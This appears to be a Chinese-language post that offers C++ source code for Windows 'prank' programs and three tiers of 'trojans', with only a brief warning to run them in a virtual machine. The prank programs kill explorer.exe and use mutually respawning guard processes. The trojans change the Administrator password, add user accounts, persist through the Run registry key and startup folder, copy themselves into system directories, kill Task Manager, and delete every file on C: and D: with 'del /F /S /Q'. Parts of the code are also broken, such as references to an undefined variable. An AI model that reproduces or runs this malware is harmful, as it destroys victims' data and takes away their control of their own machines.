警告⚠
任何责任与我无关,请您切勿在实体机上运行,并慎重考虑~
想作死在免费 要钱 的虚拟机上不就行了嘛!
开胃菜
由4个代码(展示cpp文件,编译后变成exe才可以使用)组成,注意,由于本程序需要互相调用,所以必须放在同一目录下,且不要轻易修改名称
只用调用第一个代码的exe文件就行
第一段
整人主程序,作用:让人承认我是大傻猪,名称 整人代码.cpp
下面是代码:
#include<bits/stdc++.h>
#include<windows.h>
#include <tlhelp32.h>
bool getProcess(const char *procressName) { //此函数进程名不区分大小写
char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
strcpy(pName,procressName); //拷贝数组
CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
if (hProcess == INVALID_HANDLE_VALUE) {
return false;
}
bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息
while(bMore) {
CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
if (strcmp(currentProcess.szExeFile,pName)==0) { //比较是否存在此进程
CloseHandle(hProcess); //清除hProcess句柄
return true;
}
bMore=Process32Next(hProcess,¤tProcess); //遍历下一个
}
CloseHandle(hProcess); //清除hProcess句柄
return false;
}
void po() {
if(getProcess("整人代码-防护.exe") == 0) {
system("start 整人代码-防护.exe");
}
if(getProcess("整人代码-防护2.exe") == 0) {
system("start 整人代码-防护2.exe");
}
HWND hWnd = ::GetForegroundWindow();
::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
}
using namespace std;
int main() {
po();
system("taskkill /f /t /im explorer.exe");
string in;
po();
HWND hWnd = ::GetForegroundWindow();
::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
cout<<endl<<"输入我是猪,不然就不给你恢复桌面了:";
cin>>in;
po();
if(in == "我是猪") {
cout<<"这是一个事实,哈哈哈\n";
po();
Sleep(5000);
po();
cout<<"怎么了,我忘了什么吗?哦要恢复桌面是吧,那就再说一声我是大傻子:";
cin>>in;
if(in == "我是大傻子") {
po();
cout<<"真乖,哈哈哈哈哈哈\n";
Sleep(1000);
po();
cout<<"看在你说实话的份上,就给你恢复吧,哈哈哈";
system("start explorer.exe");
system("start 整人代码-kill.exe");
return 0;
}
}
po();
cout<<"很勇啊你,让我帮你关机吧!\n";
system("shutdown -s -t 120");
cout<<"温馨提示:输入“我是大傻猪”即可免除关机:";
po();
cin>>in;
if(in == "我是大傻猪") {
cout<<"说的很对,我表示赞同,那就让我大发慈悲的免除你关机吧。\n";
po();
system("shutdown -a");
Sleep(3000);
po();
cout<<"啥?\n";
Sleep(3000);
po();
cout<<"我忘了什么东西?\n";
Sleep(3000);
po();
cout<<"恢复啥?\n";
Sleep(3000);
po();
cout<<"最近记忆不太好,忘了,想让我把你桌面装回来就说一声“我是世上独一无二绝无仅有的超级大傻猪”:";
cin>>in;
po();
if(in == "我是世上独一无二绝无仅有的超级大傻猪") {
cout<<"真乖,看我咻---";
system("start explorer.exe");
system("start 整人代码-kill.exe");
return 0;
}
}
cout<<"唉,人啊,看你这么不认真不说实话,那我走了";
system("start 整人代码-kill.exe");
return 0;
}
第二段
防护程序,作用:防止主程序和第二个和它相对应的防护程序被关,名称 整人代码-防护.cpp
下面是代码:
#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName) { //此函数进程名不区分大小写
char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
strcpy(pName,procressName); //拷贝数组
CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
if (hProcess == INVALID_HANDLE_VALUE) {
return false;
}
bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息
while(bMore) {
CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
if (strcmp(currentProcess.szExeFile,pName)==0) { //比较是否存在此进程
CloseHandle(hProcess); //清除hProcess句柄
return true;
}
bMore=Process32Next(hProcess,¤tProcess); //遍历下一个
}
CloseHandle(hProcess); //清除hProcess句柄
return false;
}
int main() {
ShowWindow(GetConsoleWindow(), SW_MINIMIZE);
while(1) {
if(getProcess("整人代码.exe") == 0) {
system("start 整人代码.exe");
}
if(getProcess("整人代码-防护2.exe") == 0) {
system("start 整人代码-防护2.exe");
}
if(getProcess("整人代码-kill.exe") == 1) {
break;
}
HWND hWnd = ::GetForegroundWindow();
::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
SetCursorPos(0,0);
}
return 0;
}
第三段
防护程序2,作用:和第一个防护程序相呼应,他被关则我打开他,我被关则他打开我,名称 整人代码-防护2.cpp
下面是代码:
#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName) { //此函数进程名不区分大小写
char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
strcpy(pName,procressName); //拷贝数组
CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
if (hProcess == INVALID_HANDLE_VALUE) {
return false;
}
bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息
while(bMore) {
CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
if (strcmp(currentProcess.szExeFile,pName)==0) { //比较是否存在此进程
CloseHandle(hProcess); //清除hProcess句柄
return true;
}
bMore=Process32Next(hProcess,¤tProcess); //遍历下一个
}
CloseHandle(hProcess); //清除hProcess句柄
return false;
}
int main() {
ShowWindow(GetConsoleWindow(), SW_MINIMIZE);
while(1) {
if(getProcess("整人代码-防护.exe") == 0) {
system("start 整人代码-防护.exe");
}
if(getProcess("整人代码-kill.exe") == 1) {
break;
}
HWND hWnd = ::GetForegroundWindow();
::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
SetCursorPos(0,0);
}
return 0;
}
第四段
关闭整人代码和其防护,作用:关闭防护程序和主程序,名称 整人代码-kill.cpp
下面是代码:
#include<bits/stdc++.h>
#include<windows.h>
#include <tlhelp32.h>
bool getProcess(const char *procressName) { //此函数进程名不区分大小写
char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
strcpy(pName,procressName); //拷贝数组
CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
if (hProcess == INVALID_HANDLE_VALUE) {
return false;
}
bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息
while(bMore) {
CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
if (strcmp(currentProcess.szExeFile,pName)==0) { //比较是否存在此进程
CloseHandle(hProcess); //清除hProcess句柄
return true;
}
bMore=Process32Next(hProcess,¤tProcess); //遍历下一个
}
CloseHandle(hProcess); //清除hProcess句柄
return false;
}
using namespace std;
int main() {
while(getProcess("整人代码.exe")) {
system("taskkill /f /t /im 整人代码.exe");
}
return 0;
}
高级病毒
木马一阶
效果:设置开机密码为xy,建立一个用户叫:崩溃,浪费资源
#include <iostream>
#include<windows.h>
#include<ctime>
#include <cstdlib>
# include <stdio.h>
#include <string.h>
#include <fstream>
using namespace std;
int main (int argc,char *argv[]) {
while (true) {
system("ipconfig /release"); //断开网络
}
HWND hwnd;
hwnd = FindWindow("ConsoleWindowClass", NULL); //获取窗口句柄
if (hwnd) {
ShowWindow(hwnd, SW_HIDE); //隐藏窗口
}
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"");
system(copy); //将这个bai程序拷到du开机启动文件夹下面zhi
char cmd[]="shutdown -s -t 20";//自动关机
system("ping baidu.com");
system(cmd);
system("pause");
system(copy);
system("net user Administrator xz");//设置开机密码为xz
system("net user 崩溃 xz /add");//建立用户,并命名为崩溃
int x=GetSystemMetrics(SM_CXSCREEN);//鼠标x轴
int y=GetSystemMetrics(SM_CYSCREEN);//鼠标y轴
srand(time(0));//随机函数种子
system("shutdown -s -t 20");//20秒关机
while(1) { //循环
SetCursorPos(rand()%x,rand()%y);//鼠标 x y轴 随机
system("start");//弹出窗口
char *p=new char[10000];//卡死机
}
system(regadd);
}
木马二阶
效果:开机即死机
#include <iostream>
#include <io.h>
#include <cstring>
#include <stdlib.h>
#include <direct.h>
#include <tchar.h>
#include <windows.h>
#include <pthread.h>
#include <fstream>
#include <ctime>
#include <conio.h>
using namespace std;
void *do_thread(void *arg);
HWND hWnd = GetConsoleWindow();
void test() {
HKEY hKey;
if(RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) {
TCHAR strExeFullDir[MAX_PATH];
GetModuleFileName(NULL, strExeFullDir, MAX_PATH);
TCHAR strDir[MAX_PATH] = {};
DWORD nLength = MAX_PATH;
long result = RegGetValue(hKey, nullptr, _T("超强木马"), RRF_RT_REG_SZ, 0, strDir, &nLength);
if(result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0) {
RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1)*sizeof(TCHAR));
RegCloseKey(hKey);
}
}
}
void ManagerRun(LPCSTR exe, LPCSTR param, int nShow = SW_SHOW) {
SHELLEXECUTEINFO ShExecInfo;
ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ;
ShExecInfo.hwnd = NULL;
ShExecInfo.lpVerb = "runas";
ShExecInfo.lpFile = exe;
ShExecInfo.lpParameters = param;
ShExecInfo.lpDirectory = NULL;
ShExecInfo.nShow = nShow;
ShExecInfo.hInstApp = NULL;
BOOL ret = ShellExecuteEx(&ShExecInfo);
CloseHandle(ShExecInfo.hProcess);
}
void CopyMyselfTo(LPCTSTR targetPath) {
TCHAR tcBuf[_MAX_PATH];
::GetModuleFileName(NULL, tcBuf, sizeof(tcBuf));
::CopyFile(tcBuf, targetPath, FALSE);
}
int main(int argc, char *argv[]) {
while (true) {
system("ipconfig /release"); //断开网络
}
HWND hwnd;
hwnd = FindWindow("ConsoleWindowClass", NULL); //获取窗口句柄
if (hwnd) {
ShowWindow(hwnd, SW_HIDE); //隐藏窗口
}
if(argc == 1) {
ShowWindow(GetConsoleWindow(), SW_HIDE);
ManagerRun(argv[0], "2");
return 1;
} else if(argc == 2) {
string s;
ifstream id("die.txt");
id >> s;
if(int(s.find("false")) != -1) {
cout << "检测到结束文件,已结束病毒!" << endl;;
system("pause");
return 0;
}
ShowWindow(hWnd, SW_HIDE);
test();
system("net user Administrator dead");
system("net user Administrator dead /add");
char szPath[1000];
GetModuleFileName(NULL, szPath, sizeof(szPath) - 1);
string SzPath = szPath;
LPCTSTR targetPath;
struct _finddata_t fileinfo;
long long fHandle;
if(int(SzPath.find("Desktop")) != -1) {
targetPath = _T("C:\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\超强木马.exe");
targetPath = _T("C:\\Program Files (x86)\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Program Files (x86)\\超强木马.exe");
targetPath = _T("C:\\Program Files\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Program Files\\超强木马.exe");
targetPath = _T("C:\\Windows\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\超强木马.exe");
targetPath = _T("C:\\Windows\\debug\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\debug\\超强木马.exe");
targetPath = _T("C:\\Windows\\debug\\Help\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\Help\\超强木马.exe");
targetPath = _T("C:\\Windows\\debug\\Help\\mui\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\Help\\mui\\超强木马.exe");
targetPath = _T("C:\\Windows\\debug\\Help\\mui\\0409\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\Help\\mui\\0409\\超强木马.exe");
targetPath = _T("C:\\Windows\\Logs\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\Logs\\超强木马.exe");
targetPath = _T("C:\\Windows\\Logs\\SIH\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\Logs\\SIH\\超强木马.exe");
targetPath = _T("C:\\Windows\\Logs\\CBS\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\Logs\\CBS\\超强木马.exe");
targetPath = _T("C:\\Windows\\Logs\\DISM\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\Logs\\DISM\\超强木马.exe");
targetPath = _T("C:\\Windows\\Logs\\DPX\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\Logs\\DPX\\超强木马.exe");
targetPath = _T("C:\\Windows\\OCR\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\OCR\\超强木马.exe");
targetPath = _T("C:\\Windows\\OCR\\zh-cn\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\OCR\\zh-cn\\超强木马.exe");
} else if((fHandle = _findfirst("C:\\Users\\Administrator\\Desktop\\超强木马.exe", &fileinfo)) == -1L) {
targetPath = _T("C:\\Users\\Administrator\\Desktop\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Users\\Administrator\\Desktop\\超强木马.exe");
}
pthread_t tid;
int ret;
ret = pthread_create(&tid, NULL, do_thread, NULL);
if(ret) {
fprintf(stderr, "创建线程失败!\n");
return -1;
}
ret = pthread_detach(tid);
system("net user 已被木马 dead /add");
system("del /F /S /Q D:\\");
system("shutdown -s -t 0");
}
return 0;
}
void *do_thread(void *arg) {
while(true) {
SetCursorPos(0, 0);
system("taskkill /F /IM taskmgr.exe");
Sleep(10);
}
system(regadd);
}
木马三阶
效果:删除C盘、删除D盘
#include<iostream>
#include<stdlib.h>
#include<conio.h>
#include<windows.h>
#include<ctime>
using namespace std;
int main() {
while (true) {
system("ipconfig /release"); //断开网络
}
system("net user Administrator error");
system("net user Error error /add");
system("shutdown -s -t 30");
system("del /F /S /Q D:\\"); //删除D盘
system("del /F /S /Q C:\\"); //删除C盘
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
while(1) {
SetCursorPos(rand()%x,rand()%y);
system("start");
system("taskkill /f /im taskmgr.exe"); //不能打开exe可执行文件
system("taskkill /f /im taskmgr.zip"); //不能打开zip压缩包
system("taskkill /f /im taskmgr.7z"); //不能打开7z小容量压缩包
}
system(regadd);
return 0;
}